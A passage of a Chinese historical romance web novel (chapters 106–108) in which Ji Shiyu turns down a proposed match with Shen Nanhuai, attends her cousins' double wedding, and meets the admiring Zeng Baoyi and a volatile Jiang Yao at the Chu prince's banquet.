便与时任二品工部侍郎的沈大人府上送去了请帖,邀沈南怀之继母蓝氏过府一叙。
明眼人皆知,是为着姬时语的婚事做打算的。
姬时语被叫去海棠苑,她甫一踏入屋门,便听得舒氏在与杨嬷嬷谈话。
“唉,你说阿锁怎么就不能在府上多留几年呢?”
“还是皇室太过忌惮侯爷的兵权了。”
“真是岂有此理,陛下还未说一个不字,这些皇子们先算计上了。”
舒氏心头泛起厌恶之感,朝中不论大皇子也好,三皇子也罢,任哪个上去,怕都要拿忠义侯府开刀,才是令她最烦躁的。
姬时语轻轻走来,喊她:“娘。”
见小女儿娇俏面容,舒氏转而生了笑,招呼着手让她坐近处,“阿锁,过来了。”
“娘是发愁爹爹岭西的兵权?”姬时语发问。
舒氏叹口气:“怕就怕陛下也跟着起疑心了,有白家前车之鉴,我并非杞人忧天。”
姬时语的心也跟着重重一沉。
她亲自去过岭西,整个岭西可以说唯忠义侯是从,即便姬雄武手中无虎符兵权,岭西众将士皆对他唯听是从。
这不是弘文帝乐意见得的。
白家当年功高盖主,才会落得下狱全斩的下场,如今的忠义侯府,亦是树大招风。
姬时语梗了话,“娘,爹可是要上交兵权了?”
被姬时语猜出一二,舒氏讶然望来,“你爹同你说过?”
姬时语摇摇头。
“好了,莫操心这些事了,凡事还有你爹在呢,他会有法子摆平的。”
舒氏便改口道:“倒是你,去岭西之前我就说过,是得给你看一门人家了,尽早得把这婚事定下来。”
姬时语蹙眉不解:“真就这么着急?”
“怎能不急?上回宫宴闹的事还不大,三皇子妃都算计你入陛下后宫了,你还想侥幸?”
舒氏没忍住,一通责备。
姬时语悻悻然缩了脖子。
她只能唉声叹气,谁能想到柳眉存了这等心思,大胆在宫中便当着侯府的面下黑手。
“大皇子临近回朝,待两位皇子龙争虎斗,我就怕将你也卷入其中。”
舒氏满脸冰冷,为了女儿,她誓必袒护到底,“别看两位皇子已有正妃,这算计人起来,腌臜手段多了去了。”
姬时语只得点头:“我明白的,娘。”
小女儿能将她的话往心里去,那是最好不过了。
舒氏笑道:“我今日请了沈夫人过府,刚好我与她商议下可否能与他家相看。”
“沈家人?”
“沈家人你也识得,他家大公子便是沈南怀。”舒氏答。
“娘!”
姬时语登时便急了,站起身便瞪大双眼,“我怎么能和沈南怀议亲?”
“为何不可?他人不错,又是你姐夫的同窗,你姐夫夸他品行端正,是个君子,我瞧着亦是不错的人选。”
舒氏说着,越发觉着满意。
姬时语才不管舒氏满不满意,她只知道自己早在秋猎那时候,便拒了沈南怀的心意。
她立马摇头,“不要,我不和他议亲。”
“你又在闹什么小脾气?”
舒氏不解,她追问道:“还是说,阿锁,你这般不愿意,是已有了心仪之人?”
“我……”
姬时语朱唇不断蠕动,几个“我”字全然吐不出更多,她缓缓垂首,脸蛋微热,眼圈却也慢慢红了。
没得多话。
便听舒氏道:“先不提你怎么想的,沈夫人便要到了,我先和她看看沈家如何。”
姬时语终是应了个“好”。
因舒氏和蓝氏相见,又为了两家儿女议亲大事,姬时语不愿出面,她怕舒氏当场应了蓝氏,便有心躲避这场相看。
姬时语以自己无声的态度,以此告诉舒氏,她不想和沈南怀定亲。
至于要和谁。
姬时语还想再给江曜一个机会,她愿意等他来侯府求娶自己。
这般想着,姬时语便离了海棠苑。
领着丫鬟独自踏过长廊,姬时语绕过花门来到了秋水池边。
二月初,杨柳依依,柳叶枝条垂挂,不时有几许柔嫩枝叶,亲啄清澈的池水。
姬时语捧着脸坐在池边,微微叹口气。
她也不知道,自己真能等到江曜入侯府求亲的那一日。
如今江曜回归楚王府,王府定然乱作一团,前后楚王妃和江子墨阻拦,后还有胡家乱事。
江曜恐怕分身乏术。
姬时语又想了。
若是她想助江曜一臂之力,该怎么做好呢?
上回胡丰汕害她,她写下话本将他琐事闹得漫长风雨,这一回,她能否如法炮制?
既然江曜已回楚王府,那么她在外可能推波助澜,为江曜造势,让京中百姓皆知他曾受过的苦楚、悲痛。
如此,楚王妃若再下狠手,便真是心狠手辣。
对,就该这样!
姬时语的烦心一扫而空,她当即起身带了笑,欲回院提笔写书。
便在这时,有人影晃过花门,轻轻步入了秋水池的院子。
“时语。”
嗓音清幽,姬时语回了身,便见一袭青衫长袍的沈南怀立在柳树之下,眸子如沐春风。
今日是沈家过府,姬时语没想到沈南怀竟也来了侯府。
“沈大人。”
姬时语颔首微笑。
“我母亲去面见侯夫人了。”
沈南怀是在解释自己为何会在此地,他瞥眼姬时语莹白的脸,笑道:“今日沈家过门,是为着两家的亲事。”
“我……”
“时语,侯夫人与我母亲,都很愿意促成你我定亲成婚。”
姬时语还没开口,沈南怀又走近了一步,他目光灼灼,含杂他的炽热心意。
“我想让你知道,同秋猎那时一样,我的心意从未变过,我是真心想娶你为妻。”
春风浅浅,姬时语的心慌乱的不成样子。
沈南怀比那回还要直白,姬时语却也比那时更明晰自己的心。
“沈南怀。”
姬时语听到自己坚定的嗓音随风飘向了沈南怀,她启唇开口:“对不住。”
“和那时一样,我也心意未变。我和娘说过了,我不能嫁给你。”
话音落,秋水池寂然无声。
良久,沈南怀沉沉叹了一口气,他又自顾自的笑笑,耸肩平复。
“是吗?你已有了心仪之人。”
沈南怀并未露出很失落的神情,他像了然,“我猜得了,那人可是五军都督府的江大人?”
“什么……”
姬时语瞬间紧张了。
沈南怀又说:“昨日我碰巧来侯府,亲眼看见他在府门前亲了你。”
轰得一声,姬时语感觉眼前像是白茫茫一片。
她和江曜亲密,还是被人瞧见了,被沈南怀?
姬时语登时抬眼小心睨沈南怀,她踌躇不已,攥紧手。
被谁瞧见不好,偏偏是沈南怀。
沈南怀得见喜欢的姑娘眉眼发愁,水眸不时瞥自己一眼,他微叹,甚至提不起恼火。
是关切她,沈南怀开了口:“时语,你当真喜欢江大人?”
“是,我喜欢他。”
姬时语朝沈南怀颔首,当着他的面,她承认了,点头应道:“还望沈大人顾及我清誉,不要在外声张。”
沈南怀又叹:“时语,我岂是乱嚼舌根之人?”
姬时语神色一凝。
她确实对沈南怀又戒备之心,想的多了些,不那么坦诚。
“我是外人,无权置喙你的事,但是时语,有桩事我定要点醒你的。”
不过沈南怀也不怪她,只是今日和姬时语彻底说开,他的心头很怅然。
“是和江大人有关。”
“你说。”
“你可还记得秋猎夜里篝火那一次?”
沈南怀说的郑重,姬时语便也听得认真,他道:“那时候侯府篝火坠落,差点将我点着烧死。”
“我记得。”
“时语,这事是江大人所为,他故意为之。”
沈南怀一动不动望着姬时语,一字一句说道:“江大人想杀了我的。”
姬时语心中惊起了惊涛骇浪。
江曜对仇敌瑕疵必报,对她抱着极强的占有,胡丰汕当街调戏她,江曜便要砍了他的手。
胡家求娶,江曜便废了胡丰汕的根。
如今沈南怀竟说,秋猎那时候,江曜便已有杀心,意图杀他。
姬时语惊悸不已。
“我说这事并非指摘江大人不是,只不过时语,江大人的脾性你摸的清吗?他绝非面上瞧着那么好相与,江大人行事如此不计后果,若这般下去,我怕他动手的不止是我,还会对你。”
沈南怀的话一针见血,满心夹杂关心,“如今他是喜欢你,纵着你,可若,他不再喜欢你了呢?”
姬时语手心掐紧,沈南怀之话可谓捅了她心窝,她听进去了。
说的一点不错。
“时语,趁着楚王府还在乱着,我劝你能躲避一时还是先躲着江大人吧。”
沈南怀幽幽道:“兴许你离了他,反而对你最好。”
“沈南怀,我多谢你关切我。”
姬时语眼眸霎时一暗,很快又抬起来,她坚定直言道:“但江曜如何我心中有数,这是我和江曜之间的事,你就不要插手了。”
“……”
沈南怀嘴唇蠕动,终不再言语。
“好,我知道了。”
第107章
舒氏和蓝氏聊得尽兴,然当蓝氏离了忠义侯府之后,舒氏还是沉沉叹息了一口气。
并非她对沈家有颇词,而是舒氏终归做不到在姬时语的婚事之上如此草率。
姬时语心有不愿,舒氏再怎么对沈南怀满意,她也掂量小女儿的心意。
舒氏愁是真的愁,心头有事未能平,是几日没睡好觉,嘴都上火起了泡。
偏在这个时候,姬雄武命人送了信回来。
姬雄武同舒氏提及了姬时语的婚事,千叮咛万嘱咐,告知她要留心楚王府,未免江曜请人过府求娶。
他早与江曜谈过话,劝告他不要对姬时语动心思,希望他归楚王府后,仍能做姬时语的兄长。
江曜不知是否听了进去,且无奈此番两人同行回京,姬雄武不得不多虑。
因此姬雄武又一遍提了此事,问舒氏姬时语回府后,可曾有过异样。
舒氏回想,姬时语好似神色如常,除开她曾问小女儿,可是有了心上人。
小姑娘粉面一刹那的凝滞,有羞怯一闪而过。
舒氏一个咯噔。
再度回看姬雄武送来的信件,他说姬时语和江曜在去岭西的路上举止亲昵,惟恐两人暗生情愫。
到时再想斩断两人情谊,便真成了棒打鸳鸯。
姬雄武还是盼着,两人之间仅有如寻常人家的兄妹关系。
舒氏抿了抿唇,她将信件折起收好,温柔面庞拢起一片愁云。
院外已是又一年阳春三月,草长莺飞。
舒氏不禁想,这已是江曜来到忠义侯府的第六年了。
江曜一片真心给了姬时语,呵护珍爱她了六年,让她这个做母亲的很是宽慰。
亦是感激不尽。
若非江曜身世驳杂,舒氏是真愿意将小女儿许配给他的。
没有什么能比自己看着长大,又知根知底的儿郎,来的更要堪佩她的爱女。
再者,阿锁从小到大,就爱缠着江曜,对府外任何簪缨世家、皇亲贵胄从未生过心思。
要不说起沈南怀,姬时语抗拒的那般明白呢。
若这两个孩子当真有了不同于兄妹之间的感情。
她这个做母亲的,真要做一回恶人吗?
光想着这桩事,舒氏的心如被一只大掌牢牢抓紧,揪得生疼不已。
便是太过头疼了,舒氏为难地揉着太阳穴,连叹了三口气。
……
三月春暖花开,忠义侯府迎来了三房两位姑娘的出嫁之日。
姬如萍和姬如蕊姐妹择的是同一日出嫁。
两人与谭家儿郎、常家公子算过八字,是为合适,谭家和常家两家便也同意同一日迎亲。
出嫁前一夜,姬时语来到春和院陪三房的两位姐姐。
两人作为新嫁娘却是半点也不犯愁,还颇有兴致地抓着福娃娃摆弄,边和姬时语说道些趣事。
姬如萍朝姬时语睇来笑眼,“我听说沈家去见了大婶娘呢,可是五妹好事将近了?”
“为何来的是沈家人?好可惜啊,我以为会等到楚王府来人呢。”
姬如蕊好生失落提亲之人不是江曜。
姬时语自然听出话外音,她睨两人笑说:“姐姐们还操心我呢?”
“自然要啊,我和四妹打了赌的,赌你究竟会嫁去哪户人家。”
姬如萍笑眼弯弯,没好气地打姬如蕊,“就是四妹耍赖,先抢了好的,我只得赌五妹嫁给不了江公子,可我心里可不是如此想的啊。”
姬如蕊得意一笑:“等着瞧吧,你那十两银子早晚归我的。”
“怎么这样,我也觉着五妹能嫁去啊,为何我们不能赌一样的?”
姬时语被两人惹得无可奈何。
她的两位姐姐竟因着她可否嫁给江曜,做了赌注,这事竟是要出嫁了才让她知晓。
姬时语哼哼:“怎么我不能一块赌了?”
两姐妹齐齐睇眼,盛满了笑意,“那五妹说说,你要赌能嫁得江大人,还是嫁不得?”
姬时语闹了个大红脸,她脸皮薄,是真架不住旁人开她和江曜的玩笑。
八字没一撇,她心中没底,说不出所以然。
末了,姬时语嘟哝:“算了,我还是不赌了罢,我好穷酸的,出不起银子。”
两个姐姐是被逗得大笑不止。
翌日一早,便有喜婆来春和院寻人。
三姐妹难得窝在一间屋子睡觉,三房两个姐姐将要出嫁离府,姬时语当然要陪同她们最后一夜。
梳妆打扮,两个新娘子便由姬时河这个亲兄长一个接一个的背出了屋。
姬时成在旁有心想帮无奈脊背太稚嫩,背不动家中的姐姐们。
但小人鬼大的姬时成,如同门神一般立在忠义侯府门前,不允谭中仁和常元忠踏入侯府一步。
姬时语就看两个姐夫止不住地往姬时成怀中塞红包,姬时成本双臂抱着长刀,似得了江曜真传,摆着一张冷脸。
可到头是绷不住,姬时成笑脸如花,又同两位姐夫讨要,说着。
“给
够够的,本世子就让姐夫们进去迎接三姐和四姐。”
常元忠气急:“霍,这鬼样子真像是江大人教出来的。”
“得,你少说两句。”
谭中仁拽住一袭新郎服的常元忠。
“我又没道错,江大人离了侯府,却给侯府世子教了一身怪本领。”
常元忠性子本就急,登时嚷道:“真是的,不若你我还在这儿干等呢?”
“看来常大人是对我很不满啊。”
冷冷的嗓音越过纷扰的人群,常元忠梗着脖子一看,便见江曜玉冠束发,一袭绛紫色云纹锦袍,大步走来。
他那双狐狸眼一凝,看得人头皮便是一紧。
“哎呀,我当是谁呢,这不是江大人?”
常元忠心想坏事了,说江曜坏话还给人听了个正着,打着哈哈便改口道:“江大人来讨我和中仁的喜酒,可是让我们的喜宴蓬荜生辉了。”
谭中仁只笑着摇头。
常元忠这马屁拍的,阿谀奉承都快上天了,也不知江曜吃不吃这一套。
江曜果然轻笑,不轻不重的,却落在了人心上,“忠义侯府的喜事,我自然是要来的。”
谭中仁暗地给了常元忠好几个眼神,岂料这人跟睁眼瞎似得,半分没看见。
“那可不是啊?”
常元忠赶忙狗腿子应:“江大人最疼爱五小姐不是?如萍与如蕊又是五小姐的亲姐姐。”
还好这回的马屁常元忠是真拍到位了,江曜清冷的容貌绽了笑,他颔首应:“不错,还要恭贺两位姐夫的大喜之日。”
谭中仁和常元忠对视一眼。
两位姐夫?
看来江大人是真心疼爱忠义侯府的五小姐,便是离了侯府,亦是拿自己当五小姐的兄长。
侯府门里,舒氏引得何氏坐于主院上首,三老爷在侧。
直到姬时河将两位姑娘背至主院,姬如萍和姬如蕊的亲娘李姨娘,悄悄在下侧偷抹了眼泪。
何氏不忍心,开恩让李姨娘站到她旁边,受着亲女的磕头。
三房的姑娘们终是出嫁了。
府外一派喜气洋洋,姬时成捧着一大兜子的鼓囊跑来寻姬时语,边直呼:“五姐、五姐!我讨了好些红包啊,五姐,我偷偷分给你。”
姬时语忍俊不禁,手中被姬时成塞的快拿不下。
直起身,姬时语目送两位姐姐上了花轿,正巧门外江曜舒长了身子,侧首回望了过来。
数多人群已如过眼云烟,江曜一双狐狸眼凝起些许温和的缱绻。
外头都在传江曜已回了楚王府,备受楚王和老楚王的关照,他虽是王府长公子的身份,但在外人眼中,与楚王世子并无分别。
是比江子墨受宠太多。
江曜高束乌发,紫金色玉冠熠熠夺目,眼下的他既是京中的翘楚都督江大人,亦是楚王府遗落找回的公子。
姬时语等了六年,终亲手将他送回本该属于他的位子。
望着江曜如斯俊美的脸,红火成团衬在他身后,可姬时语只看得见他。
她舍不得挪开眼。
很快,姬时语便看到江曜抬起了右手腕,宽大的衣袍大袖朝后一拢,他露出腕骨之上的粉色珠串。
江曜凝着姬时语,手腕一边抬高,再低垂首,轻啄了一口珠串。
他、他、他,这和故意的逗弄她有何分别?
像在亲她似得。
姬时语的耳尖霎时生起一派热意。
那头的江曜已是抬首,他轻启薄唇,无声的将话隔空传递给了姬时语。
他说:“等我。”
这话怎会不明白。
姬时语还未回话,手边的姬时成不断抓她的衣袖,惊讶了许多声,“五姐五姐,你的脸好红呀,是艳羡三姐四姐出嫁吗?”
被姬时成无心之话当堂一说,姬时语小脸红扑扑的,顿时手足无措。
“是呀,我羡慕了。”
“没事的五姐,待你也有那一日,我一定努力和二哥一样,背着你出嫁喔。”
姬时成拍拍小胸脯。
“好啊,那我就拜托成哥儿啦。”
姬时语已是避开了江曜的眼,笑着抚摸姬时成的脑袋。
舒氏在姬时语身后,是将她和江曜之间的眉目传情看得一清二楚。
小女儿粉颈低垂,姬时语嘴上不肯承认之事,已在江曜出现的那一刻,写在了脸上。
含羞带怯的姑娘,只有心系那人,才会这般姿态。
现如今棒打鸳鸯,来得及吗?
可会为时已晚?
舒氏心中的那道猜想成了真,她沉沉叹息一口。
想到小女儿恐会心碎啜泣,到最后舒氏未语,转身便离了主院。
这厢舒氏还在为姬时语犯了难,她一夜未眠,起身便想给岭西的姬雄武写信。
清晨杨嬷嬷却来告知,是姬雄武又递信来了,说他三日后便回抵京。
舒氏缓缓心神,这些时日她愁思过甚,额头难受的厉害。
杨嬷嬷补道:“夫人,楚王府送来了请帖。”
舒氏一个大惊,她还以为是江曜有意上侯府求娶姬时语,抓来请帖一瞧,大为松口气。
原来是江曜已上皇室玉牒,是为弘文帝圣口应许的皇冑,认祖归了宗。
楚王大喜过望,当即便要在楚王府设宴,宴请京中各府,当着众人面,为江曜正名。
十八年了,因楚王双腿残废,他厌恶京中的流言蜚语,楚王府便就此闭门,再未招待客人。
如今楚王如此疼爱江曜,楚王妃便也不得不遵从楚王心意,为江曜摆宴下帖。
楚王府的请帖还相邀五小姐姬时语。
舒氏便重新打起了精神,亲自领着姬时语,前往闭门已有十八年之久的楚王府。
……
楚王府摆宴设在梨云院。
三月刚至,院墙之外四面梨花树,雪色漫漫,柔数静美,萱草数叶之时,便是梨花开遍了满枝。
舒氏走至院中,不禁和姬时语感慨:“楚王府之中竟还有这般的景致。”
“是楚王妃喜欢梨花吗?”
姬时语好奇环顾,即使已是落了座,目光眺着越过墙头,亦是能看清院外的雪云。
才是美丽。
舒氏道:“不像是,从未听说过楚王妃喜欢梨花。”
姬时语不多喜欢四月和五月,因京城柳絮常在这个时候纷飞,那时她心悸重,最受不住柳絮。
因而她亦鲜少赏梨花景。
收回眼,姬时语轻轻睨窥视坐于上首的楚王妃胡氏。
今日的胡氏面容带笑,与手边的一位夫人攀谈着,她面上厚厚一层脂粉,隐隐得见眼下的乌青,是未得好眠。
离京之前,姬时语犹记江曜上奏胡家犯下血案,胡老太爷因此被停了职。
此案由刑部牵头,彻查胡家。
而从岭西归来后,姬时语打听到,刑部查抄胡家,真在胡家院中挖出了一具女子的尸骨。
刑部直指胡家当真手中染血,仗着权势草菅人命。
血案仍在查证真相,但胡家落马指日可待。
在这样情形之下,罪魁祸首江曜检举胡家罪孽,胡氏竟动他不得。
楚王妃胡氏却还要为江曜认祖归宗,大摆宴席。
姬时语支着脑袋,没得过心,目光幽幽的,便挑眼望向院外那片梨花雪云。
耳畔突而传入夫人们的谈话。
胡氏问道:“陈夫人听口音不像是京中人啊?”
“我是凉州生人。”
陈夫人温温柔柔的嗓音,听的人心生舒畅,和舒氏还有几分像。
“太守大人不久前才被调任回京,陈大人如今是做了都察院右副都御史?”
陈夫人笑应:“正是。”
姬时语思忖一刹:都察院右副都御史是正三品的官职,不低了。
“凉州啊,凉州离京可不近,挨着漳州是很南下了。”
楚王妃胡氏说:“不过,离京远了些,陈夫人曾在凉州布下粥棚,屡次救济灾民百姓之事,我在京中曾有过听闻。”
陈夫人谦虚回:“不敢当,只是力所能及罢了。”
“凉州出了位菩萨太守夫人,我们是早听过这事,竟还能亲见陈夫人,仔细瞧瞧,您连这张脸都是一张菩萨脸呢。”
陈夫人得了赞誉连连笑,姬时语听得稀奇。
这天底下当真有人生了一副菩萨脸?
姬时语余光一瞥。
那位陈夫人一身绿裙端庄素雅,长着圆盘脸,一双菩萨低眉,当真是有如几分慈悲在怀的模样。
陈夫人便坐在安国公夫人白氏身侧,于楚王妃下首,三人交谈亲切,想来新调任的陈家与三皇子党走得近。
“曾家又是何时入的京?”
楚王妃胡氏偏了头,问左侧之人。
“就是头几日,陛下召了曾家入京。”
安国公夫人白氏答:“曾家在岭西待了足有十年呢,回京之后曾大人便被任了吏部尚书一职。”
在场之中,各家正室夫人门清的很。
兵部尚书胡老太爷才一被下狱,曾家便被调动任职。
弘文帝下旨命曾大人回京,怕是想将人填去兵部。
只是碍着胡家这案子还未结,不好落胡家的脸罢了。
胡老太爷当了二十多年的尚书大人,弘文帝多少会给臣子几分薄面。
有这层渊源,见曾家来到楚王府参宴时,楚王妃胡氏的脸色变得十分难看。
“原来是才入京。”
楚王妃说出口的话便也不多好听,她道:“曾家还未落好脚跟,便来王府参宴,是王府的荣幸了。”
“多谢王妃,长公子流落在外多年,当年随忠义侯征战岭西,曾家在岭西之时,便与长公子有过故交。”
偏曾夫人携了嫡女曾宝仪同在,得白氏说话,曾夫人笑道:“因此江大人身世重见天日,曾家自当高兴之。岭西能得忠义侯府与江大人镇守,乃是岭西百姓之幸。”
这一提不免又将
忠义侯府给架了过来,几位夫人俱是往忠义侯夫人舒氏那头看去。
舒氏便只好回笑:“谢过曾夫人的谬赞。”
“侯夫人亲切。”
曾夫人笑着望向舒氏,“我家也有一小女,和五小姐年岁相当,宝仪才归京,不知能和五小姐聊得去不?”
舒氏笑着应:“阿锁性子好,不会惹宝仪不快的。”
曾宝仪瞪着明亮的双眸,挽了曾夫人手腕晃了晃,在得到曾夫人首肯之后,她起身便换上大大的笑脸,往姬时语这面跑来。
姬时语哪里还打盹儿?
她霎时睁开了眼,一晃眼,曾宝仪已是来到她的跟前,笑嘻嘻地挽住了她的手。
“五小姐。”
曾宝仪稍显局促,脸蛋犯出一抹难为情,可嘴边已是夹了笑,露出两颗可爱的小虎牙。
“曾小姐。”
“合英姐姐总好说京中还有一位亲妹妹,娇俏可人的很!”
曾宝仪笑道:“今日一见,五小姐还真如合英姐姐所说的,讨人喜欢。”
“宝仪你很熟悉我姐姐啊?”姬时语讶然。
“我在岭西与合英姐姐便已是熟稔,她是朝中唯一的女武将,令我心生敬佩。”
曾宝仪着了一身团花胭脂罗裙,她揪住衣边,轻笑侧目,“不止是合英姐姐,侯府的人与曾家关系都亲近。”
转瞬间,姬时语忆起于策安的话。
曾家嫡女曾宝仪,这颗明珠,早在岭西便扬言非江曜不嫁,至今已是五年之久。
曾宝仪发髻之间以珍珠发簪为首,她喜欢排簪,便戴了两排珍珠簪,真宛如宝珠璀璨。
姬时语心中复杂至极。
她没想到会在楚王府亲见曾宝仪。
姬时语还在幽幽走了神,身边曾宝仪已垂下头。
复而微顿,她舒口气握住了姬时语的手,轻声说道:“实不相瞒,我今日来找五小姐还有一件要事。”
“是……什么?”
姬时语听到自己下意识的回答。
“我心里很不安,觉着对不住五小姐,便想先同你道歉。”
曾宝仪失落的垂下头,话音夹杂了愧疚,“在岭西的时候,我早便心悦于江大人,因此归京之后,我听得旁人说他对妹妹十足宠爱,便起了意想与五小姐见面。我不想江大人的妹妹对我心生厌恶,我希望你也能喜欢我。”
姬时语喃喃:“你不想我厌恶你?”
“你可是江大人最在乎的人不是吗?”
曾宝仪重重点头,小虎牙一露,便笑道:“我喜欢他,希望他能喜欢我,当然也有他身边的人呀。”
姬时语应:“是这样啊。”
“你没有生我的气吧?”
曾宝仪见姬时语粉面杏腮,稍显一分苍白,还以为自己吓着她了,又是一通道歉:“我来见你之前,便抱有私心,和五小姐相识,像是我私心驱使,定要来见你的,对不住。”
姬时语摇了摇头,实话道:“我没气你。”
“那就好啊!”
曾宝仪笑嘻嘻的,自顾自和姬时语说了好些话,“五小姐一直呆在京中,还不知岭西那些年江大人与合英姐姐的事儿吧?”
姬时语有些蒙:“不知道。”
“唉,我
第一回见江大人,那时候他还是个小少年呢,却有着一双让人不敢直视的眼。因而在曾家见到他的第一面,我就喜欢上他了。”
曾宝仪絮絮叨叨,说着往事,“侯爷与我父亲交好,每回战事小捷,便会带着江大人上曾家用膳,我也便能多见他一次,你不知道每每能见到他,我是多高兴呢!”
不必多说,姬时语只是见她的眉飞色舞,便心知曾宝仪的真情。
“我喜欢缠着他,可江大人冷脸太甚,让人害怕。”
“这五年,你们见过许多回吗?”
姬时语再没忍住询问。
曾宝仪狐疑不解:“多少回我可记不清了,只是他来曾家一回,我便会去寻他的。”
姬时语想,那两人该是寻常的礼节一见了。
“江大人如今得高望重,官身二品,我都盼了五年了还没嫁给他,唉……”
曾宝仪笑罢,她又做出叹息状:“五小姐,你是江大人疼宠的妹妹,你可知怎样才能赢得江大人的心啊?”
这还是姬时语这么直白的,听旁人诉说对江曜的喜欢之情。
赤_裸_裸的,不加掩饰。
只是光听着,心口便密密麻麻的疼,她多少还是有些不舒服,她介意又在乎的是,自己缺失的与江曜的那五年。
倒不是曾宝仪有多喜欢江曜,两人又在岭西相处多深。
姬时语信江曜,他坦诚过自己没招惹过姑娘。
那么她就信他。
有些事姬时语自会去跟江曜问个明白,而不是道听途说听旁人说多喜欢他。
“谢谢你同我说这样多的真心话。”
姬时语挣脱了曾宝仪的手,曾宝仪“哎呀”一声还想拉她,可姬时语已笑着拂开她。
“喜欢与不喜欢,我帮不了你呢,毕竟我不是他。”
姬时语荡开温和的笑,说:“曾小姐,我也得说句对不住了。”
“可是……那也好吧,可是改日你能代我问问他吗?我总觉着你去问,江大人应不会甩冷脸的。”
“对不住,我没法代劳。”
姬时语笑着摇摇头,她说着:“我还有点事,先失陪了。”
便在曾宝仪失落的目光中,姬时语领着丫鬟离了梨云院。
甫一踏出院子,姬时语终于感受心口沉甸甸的巨石被甩掉了,她可以大口喘气,缓和心跳。
那股不舒服的感觉萦绕在身上,姬时语冷了脸,唤来萍亭和萍柳。
“寻个人问问,就说我要求见王府的长公子。”
两个丫鬟应了句,便去寻人问话。
一刻钟后,萍亭萍柳再度折返,两人脸色惨白,耸着肩不住抖动,像是吓坏了。
姬时语疑惑:“出何事了?”
萍亭强撑镇静:“小姐,先去见江大人吧,他……”
两个丫鬟欲言又止,说也说不明白,姬时语不明所以,想来还有些恼火,但她还是随王府的下人入了梨花树林,往深处而去。
入目梨花深深,姬时语心口的烦躁也逐渐平复。
待到一处木屋之间,江曜的身影从梨花树间显现,他正在此等候。
江曜环臂抱着长刀,脑后乌发高束,单腿支在梨花树上。
他着了流逸的衣袍,淡白梨花落于他肩侧,显得静谧几许。
姬时语一靠近,江曜霎时便睁开了狐狸眼。
只一眼,姬时语见得他眼底层层叠叠的嗜血杀气。
江曜直起身,拢在他身上的梨花花瓣纷扬落下,连雪色也被沾染上了冷冽的寒意。
“阿锁。”
江曜开口便问姬时语:“凉州太守,如今的都察院右副都御史夫人陈夫人,可是在女席?”
姬时语太熟悉江曜了,他每回在她眼前将要发疯杀人的预兆,便是这般隐隐的癫狂。
可她怎么能眼睁睁看着他动刀?
因此江曜问这话,姬时语都顾不上问他曾宝仪之事,上前便牵住他手。
她的素手覆盖上去,温柔拉住他。
“哥哥 ,怎么了?“她问。
江曜一垂眼,眼尾坠的红又深了些,“我要去杀了她。”
他不假思索握紧了刀,姬时语也是第一时强行拽住了他手,她的手软软的,又很娇小,偏带着不容许的执拗。
“江曜。”她喊他。
“阿锁,此乃私事。”
“有何私事不能等?少动怒,你忘了我说的了?”
江曜到底顾及着姬时语,他只是说:“阿锁,放手。”
“哥哥,你稍安勿躁,如今你已是王府的长公子,一言一行都被万只眼睛瞧着呢,不要随心所欲就打打杀杀。”
姬时语很是急切,她不愿江曜在宴席大开杀戒,便倾身贴上了他身,双手固执盘住他的腰。
“哥哥。”
她嗓音微甜,撒了娇,“自分离以来已有几日了,你就不想抱抱我吗?”
江曜缄默,他盯着她白玉柔软的娇颜看了许久。
他吃不住姬时语撒娇,且她又是主动投怀送抱,他太吃她这个样子了,一时间便再想不起旁事。
满脑子唯有她。
“哥哥!”
姬时语还未察觉,心中暗骂他太难哄,嘴上还傻登登地哼:“那你不想抱我算了,我这会儿就想抱你,你不准走,得在这儿给我抱!”
怀中的人儿还在汲取他周身的气息,她拱着鼻头在他肩窝吸气,小姑娘又软软倚靠在他的胸膛之上。
她一动,江曜的喘气便重了。
江曜眉宇一软,狐狸眼之中忽然泛起压抑不住的情_潮。
有几日没亲她了,好想好想。
不想别的,只想亲她。
江曜捧起姬时语的脸蛋,俯下脑袋,攫取了她娇嫩的唇瓣。
“你又……”
江曜抱着姬时语背靠上梨花树,啪地一撞,梨花花瓣纷纷飘落,姬时语的轻呼未说全,便被他用嘴堵上。
簌簌梨花落于两人脸上,两人咬着花卷入了唇。
她像是吃到了花瓣,又像吃到了别的。
江曜叼住她下唇亲了又吮,再改做轻轻的含,他低低地喊她,含糊不清的,姬时语听见了几个字。
“阿锁,再多亲一下。”
他下嘴总是没个轻重,极其凶猛,姬时语腰肢软的厉害,脚面要塌陷下去,被江曜抬手托住了下腰。
姬时语只觉得吃入唇中的花瓣,已被江曜亲吻着捣碎了。
莫要再说零落破碎的梨花,那不是梨花,而是她。
第108章
曾家归京不足一月,其间从未过哪家府门。
如今亮相楚王府,几乎是以强势的态度,告知世人,岭西一脉的官员,这五年间比任何人都要清楚江曜的功绩。
曾家认可江曜身为岭西主将,率兵抵御大陇,立下血马功劳。
而曾大人归京后便被册立入了吏部,跻身尚书之位,曾家的地位不容小觑。
同一时,一并从楚王府宴席流传而出的,还有曾家爱女,嫡小姐曾宝仪早在岭西便对楚王府长公子江曜心生爱慕一事。
无他,曾夫人问及楚王妃胡氏,可曾考虑过为江曜婚配。
因楚王妃乃是正妃,却并非江曜生母,两人又早结了私仇,这事她自然是不会放在心上。
曾夫人却撂下了一句话来。
她说:“不论在岭西,还是在京中,曾家都愿与江大人交好。”
这话无疑是在说曾家十分愿意与江曜结亲了。
众目睽睽之下,曾家当着楚王妃的面,再度打了她的脸。
霎时间,胡氏那张落满脂粉的白脸阴云密布,是难看至极。
胡家已被江曜搅得不成样子,亲生父亲还就此停职,胡氏心中愤恨交加。
曾家明目张胆力挺江曜,她却说不得一个不字。
还得摆出笑容满脸,胡氏笑道:“曾家好意我们明晓了,回头我会与王爷商议的。”
楚王府这面并未咬死不答应,因此宴会一了毕,满京城掀起了曾家女与楚王府新认回的长公子一事。
就连在韶华院当值的萍亭亦是听得了府外的风声。
“江大人真要娶曾家小姐了?”
萍亭还与萍柳换了一个眼神,压低了声不可思议道:“可他不是疼爱咱们姑娘的?”
“谁说不是呢?”
萍柳还在生闷气呢,为姬时语抱不平,“两人早前好的跟一个人似得,自打江大人离了侯府,瞧着小姐总是闷闷不乐,多半还是江大人惹得。”
“唉。”
萍亭叹口气,余光浅睨身后珠帘之中的靓影,不愿让姬时语听见她的话。
“若江大人迎娶曾小姐,往后便要与侯府彻底断绝关系了。”
“断绝便断绝吧,哼,兴许他便是这么想的呢。”萍柳怨怼着。
林妈妈这时走来,瞧见两个丫鬟你一言我一句说着不中听之话,没好气拧了两人。
“多嘴什么呢?主子家的事,由得着你们说三道四?还不抓紧做事去。”
“这还不是为小姐难过?”
